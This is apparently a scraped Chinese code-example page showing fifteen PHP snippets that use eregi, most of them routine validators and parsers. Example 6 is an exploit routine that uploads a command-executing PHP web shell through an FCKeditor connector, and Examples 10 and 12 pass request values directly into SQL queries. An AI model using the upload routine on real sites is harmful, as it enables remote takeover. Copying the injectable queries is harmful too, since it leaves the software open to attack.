本文整理汇总了PHP中eregi函数的典型用法代码示例。如果您正苦于以下问题:PHP eregi函数的具体用法?PHP eregi怎么用?PHP eregi使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了eregi函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: notify_verify
function notify_verify()
{
//¶Ônotify_urlµÄÈÏÖ¤
if ($this->transport == "https") {
$veryfy_url = $this->gateway . "service=notify_verify" . "&partner=" . $this->partner . "¬ify_id=" . $_POST["notify_id"];
} else {
$veryfy_url = $this->gateway . "notify_id=" . $_POST["notify_id"] . "&partner=" . $this->partner;
}
$veryfy_result = $this->get_verify($veryfy_url);
$post = $this->para_filter($_POST);
$sort_post = $this->arg_sort($post);
while (list($key, $val) = each($sort_post)) {
$arg .= $key . "=" . $val . "&";
}
$prestr = substr($arg, 0, count($arg) - 2);
//È¥µô×îºóÒ»¸ö&ºÅ
$this->mysign = $this->sign($prestr . $this->security_code);
//**********************************ÉÏÃæдÈÕÖ¾
log_result("sign_log=" . $_POST["sign"] . "&" . $this->mysign . "&" . $this->charset_decode(implode(",", $_GET), $this->_input_charset));
//**********************************ÉÏÃæдÈÕÖ¾
if (eregi("true\$", $veryfy_result) && $this->mysign == $_POST["sign"]) {
return true;
} else {
return false;
}
}
示例2: on_submit
function on_submit()
{
$email_list = Url::get('email_list');
$count = 0;
if ($email_list) {
$arr = explode("\n", $email_list);
$arr_tmp = array();
$email_list = '';
if ($arr) {
foreach ($arr as $email) {
$email = str_replace(array(chr(13), chr(10)), '', stripslashes($email));
if (eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\\.[A-Z]{2,6}\$", $email) && !isset($arr_tmp[$email])) {
$email_list .= ($email_list ? "\n" : '') . $email;
$arr_tmp[$email] = 1;
$count++;
}
}
}
}
$this->email_list = array('email_list' => addslashes($email_list), 'time' => TIME_NOW, 'time_modify' => TIME_NOW);
$this->checkFormInput('Danh sách email', 'email_list', $email_list, 'str', true, '', 1);
if ($count > 50) {
$this->setFormError('', "Bạn đã nhập vào {$count} email, số mail nhập vào phải <=50!");
}
if (!$this->errNum) {
$id = DB::insert('spam_mail', $this->email_list);
if ($id) {
Url::redirect_current(array('cmd' => 'email_list'));
} else {
$this->setFormError('', 'Không cập nhật được CSDL!');
}
}
}
示例3: _getDivs
/**
* look for the opening and closing divs with a particular $class in the $subject
* Have to count opening and closing divs since regexes are not so good matching opening and closing tags
*/
function _getDivs($subject, $class)
{
preg_match_all("/<div[^>]+class\\=\"{$class}\"[^>]*>/is", $subject, $matches, PREG_OFFSET_CAPTURE);
$matches = $matches[0];
for ($i = 0; $i < count($matches); $i++) {
$openDivs = 0;
$closedDivs = 0;
$divClosePosition = 0;
$divPosition = array();
preg_match_all("/<\\/?div[^>]*>/is", $subject, $divPosition, PREG_OFFSET_CAPTURE, $matches[$i][1]);
$divPosition = $divPosition[0];
for ($i2 = 0; $i2 < count($divPosition); $i2++) {
if (eregi("\\/", $divPosition[$i2][0])) {
$closedDivs++;
} else {
$openDivs++;
}
if ($closedDivs > $openDivs - 1) {
$divClosePosition = $divPosition[$i2][1];
$divLength = $divClosePosition + 6 - $matches[$i][1];
$divs[$i] = substr($subject, $matches[$i][1], $divLength);
break;
}
}
}
return $divs;
}
示例4: parse
function parse($xml)
{
$nav = $xml->getElementsByTagName('navigation');
$nav = $nav->item(0);
foreach ($nav->childNodes as $child) {
$this->navigation[$child->nodeName] = $child->getText();
}
$attr = $xml->getElementsByTagName('attributes');
$attr = $attr->item(0);
foreach ($attr->childNodes as $child) {
$this->attributes[$child->nodeName] = $child->getText();
}
$cats = $xml->getElementsByTagName('categories');
$cats = $cats->item(0);
foreach ($cats->childNodes as $c) {
$name = htmlspecialchars($c->getAttribute('name'));
$this->categories[$name] = array('' => array());
$this->cat_tr[$name] = htmlspecialchars(trim($c->firstChild->nodeValue));
if ($c->childCount > 0) {
foreach ($c->childNodes as $s) {
if ($s->nodeType == 1) {
$this->categories[$name][$s->getAttribute('name')] = array();
$this->cat_tr[$s->getAttribute('name')] = trim($s->firstChild->nodeValue);
}
}
}
}
$meta = $xml->getElementsByTagName('meta');
$meta = $meta->item(0);
foreach ($meta->childNodes as $child) {
$nodeName = $child->nodeName;
eregi("<{$nodeName}>(.*)<\\/{$nodeName}>", $child->toString(), $matches);
$this->meta[$nodeName] = $matches[1];
}
}
示例5: alterTableColumn
function alterTableColumn($table, $colname = array(), $operation = 'drop', $type = 'int', $thekey = '', $notnull = FALSE, $default = '', $extra = NULL)
{
$result = '';
if (count($colname) > 0) {
$result .= 'ALTER TABLE ' . $this->getTblName($table) . ' ' . strtoupper($operation) . ' COLUMN ' . $colname[0];
if ($operation == "change") {
$result .= ' ' . $colname[1];
}
if (!eregi('drop', $operation)) {
$result .= ' ' . $type;
if (trim($thekey) != '' && !eregi('pri', $thekey)) {
if (eregi('uni', $thekey)) {
$result .= ' UNIQUE';
}
}
if ($notnull !== FALSE) {
$result .= ' NOT NULL';
}
if (trim($default) != '') {
$result .= ' DEFAULT ' . $default;
}
if (!is_null($extra)) {
$result .= ' ' . $extra;
}
}
}
return $result;
}
示例6: upload
function upload()
{
global $host, $path;
$connector = "/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php";
$file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext) {
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$data .= "--12345--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\\((.*),'(.*)'\\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) {
die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
}
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) {
return $ext;
}
sleep(1);
}
return false;
}
示例7: pop3_connect
function pop3_connect($mail, $pass, $serv, $port = 110)
{
$fserv = fsockopen($serv, $port);
if (!$fserv) {
return -1;
}
//Cannot connect
$resp = fgets($fserv);
//echo($resp); //Debug
$request = "USER {$mail}\nPASS {$pass}\n";
fwrite($fserv, $request);
$resp = fgets($fserv);
if (!eregi("\\+", $resp)) {
return -2;
}
//Bad username
//echo($resp);
$resp = fgets($fserv);
if (!eregi("\\+", $resp)) {
return -3;
}
//Bad password
//echo($resp);
return $fserv;
}
示例8: freq_analyze
function freq_analyze($infile, $cereg = '[a-z ]')
{
//Make frequency fingerprint
$debug = 100;
$total = 0;
$in = fopen($infile, 'r');
while (!feof($in)) {
$c = strtolower(fgetc($in));
if (eregi($cereg, $c)) {
if (!isset($data[$c])) {
$data[$c] = 0;
}
$data[$c]++;
$total++;
}
}
fclose($in);
//Compute percents
foreach ($data as $c => $n) {
$data[$c] = $n / $total * 100;
$debug -= $data[$c];
}
//echo("Debug: $debug\n"); //Debug
return $data;
}
示例9: check
/** overloaded check function */
function check()
{
// filter malicious code
$ignoreList = array('params');
$this->filter($ignoreList);
// specific filters
$callcheck = array('InputFilter', 'process');
if (!is_callable($callcheck)) {
require_once mamboCore::get('mosConfig_absolute_path') . '/includes/phpInputFilter/class.inputfilter.php';
}
// specific filters
$iFilter =& new InputFilter();
if ($iFilter->badAttributeValue(array('href', $this->url))) {
$this->_error = T_('Please provide a valid URL');
return false;
}
/** check for valid name */
if (trim($this->title) == '') {
$this->_error = T_('Your web link must be given a title.');
return false;
}
if (!(eregi('http://', $this->url) || eregi('https://', $this->url) || eregi('ftp://', $this->url))) {
$this->url = 'http://' . $this->url;
}
/** check for existing name */
$this->title = $this->_db->getEscaped($this->title);
$this->catid = $this->_db->getEscaped($this->catid);
$this->_db->setQuery("SELECT id FROM #__weblinks " . "\nWHERE title='{$this->title}' AND catid='{$this->catid}'");
$xid = intval($this->_db->loadResult());
if ($xid && $xid != intval($this->id)) {
$this->_error = T_('There is already a web link that name, please try again.');
return false;
}
return true;
}
示例10: go
function go()
{
$this->JxAuthNo();
if ((int) $_GET['linkID'] > 0) {
$sql = "SELECT *\n FROM menu_links\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
if (!DB::isError($result) && $result->numRows()) {
$row = $result->fetchRow();
$sql = "UPDATE menu_links\n SET hits=(hits + 1)\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
$go = $row['url'];
}
} elseif ((int) $_GET['categoryID'] > 0) {
$sql = "SELECT *\n FROM menu_categories\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
if (!DB::isError($result) && $result->numRows()) {
$row = $result->fetchRow();
$sql = "UPDATE menu_categories\n SET hits=(hits + 1)\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
$go = $row['url'];
}
}
if (!eregi('^http', $go)) {
$go = $_SERVER['SCRIPT_NAME'] . $go;
}
header("Location: {$go}");
exit;
}
示例11: ic_system_info
function ic_system_info()
{
$thread_safe = false;
$debug_build = false;
$cgi_cli = false;
$php_ini_path = '';
ob_start();
phpinfo(INFO_GENERAL);
$php_info = ob_get_contents();
ob_end_clean();
foreach (split("\n", $php_info) as $line) {
if (eregi('command', $line)) {
continue;
}
if (eregi('thread safety.*(enabled|yes)', $line)) {
$thread_safe = true;
}
if (eregi('debug.*(enabled|yes)', $line)) {
$debug_build = true;
}
if (eregi("configuration file.*(</B></td><TD ALIGN=\"left\">| => |v\">)([^ <]*)(.*</td.*)?", $line, $match)) {
$php_ini_path = $match[2];
if (!@file_exists($php_ini_path)) {
$php_ini_path = '';
}
}
$cgi_cli = strpos(php_sapi_name(), 'cgi') !== false || strpos(php_sapi_name(), 'cli') !== false;
}
return array('THREAD_SAFE' => $thread_safe, 'DEBUG_BUILD' => $debug_build, 'PHP_INI' => $php_ini_path, 'CGI_CLI' => $cgi_cli);
}
示例12: copysms
function copysms($Text, $Sender, $DateTime, $id)
{
global $new_db, $new_db_table, $smsd_db;
if (eregi("([0-9]{1,})(#)([a-z]{1,})(#)(.*)", $Text, $regs)) {
$testo = "" . $regs[5] . "";
$category = "" . $regs[1] . "";
$off_rich = "" . $regs[3] . "";
if ($off_rich == 'r' || $off_rich == 'R') {
$offerta_richiesta = "a";
} else {
$offerta_richiesta = "v";
}
} else {
$testo = $Text;
$category = "45";
$offerta_richiesta = "v";
}
mysql_select_db("{$new_db}");
$result = mysql_query("insert into {$new_db_table} (ID,Text_Offer,Text_Category,PhoneNumber,Text_Other,DateTime) values ('{$id}','{$offerta_richiesta}','{$category}','{$Sender}','" . mysql_real_escape_string($testo) . "','{$DateTime}')");
//mark sms in Gammu smsd as processed
mysql_select_db("{$smsd_db}");
while ($id != "") {
if (eregi("([0-9]{1,})(,)(.*)", $id, $id2)) {
// echo $id2[1]."<br>";
$result = mysql_query("update inbox set Processed='true' WHERE ID='{$id2['1']}'");
$id = $id2[3];
} else {
$result = mysql_query("update inbox set Processed='true' WHERE ID='{$id}'");
// echo $id;
break;
}
}
// echo "<br><br>";
}
示例13: isEmail
function isEmail($eMailAddress)
{
if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}\$", $eMailAddress, $check)) {
return true;
}
return false;
}
示例14: OpenTag
/** returnes true if $p_tag is a "<open tag>"
@param $p_tag - tag string
$p_array - tag array;
@return true/false
*/
function OpenTag($p_tag, $p_array)
{
$aTAGS =& $this->aTAGS;
$aHREF =& $this->aHREF;
$maxElem =& $this->iTagMaxElem;
if (!eregi("^<([a-zA-Z1-9]{1,{$maxElem}}) *(.*)>\$", $p_tag, $reg)) {
return false;
}
$p_tag = $reg[1];
$sHREF = array();
if (isset($reg[2])) {
preg_match_all("|([^ ]*)=[\"'](.*)[\"']|U", $reg[2], $out, PREG_PATTERN_ORDER);
for ($i = 0; $i < count($out[0]); $i++) {
$out[2][$i] = eregi_replace("(\"|')", "", $out[2][$i]);
array_push($sHREF, array($out[1][$i], $out[2][$i]));
}
}
if (in_array($p_tag, $aTAGS)) {
return false;
}
//tag already opened
if (in_array("</{$p_tag}>", $p_array)) {
array_push($aTAGS, $p_tag);
array_push($aHREF, $sHREF);
return true;
}
return false;
}
示例15: SprawdzEmail
function SprawdzEmail($email)
{
if (!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,4}\$", $email)) {
return false;
}
return true;
}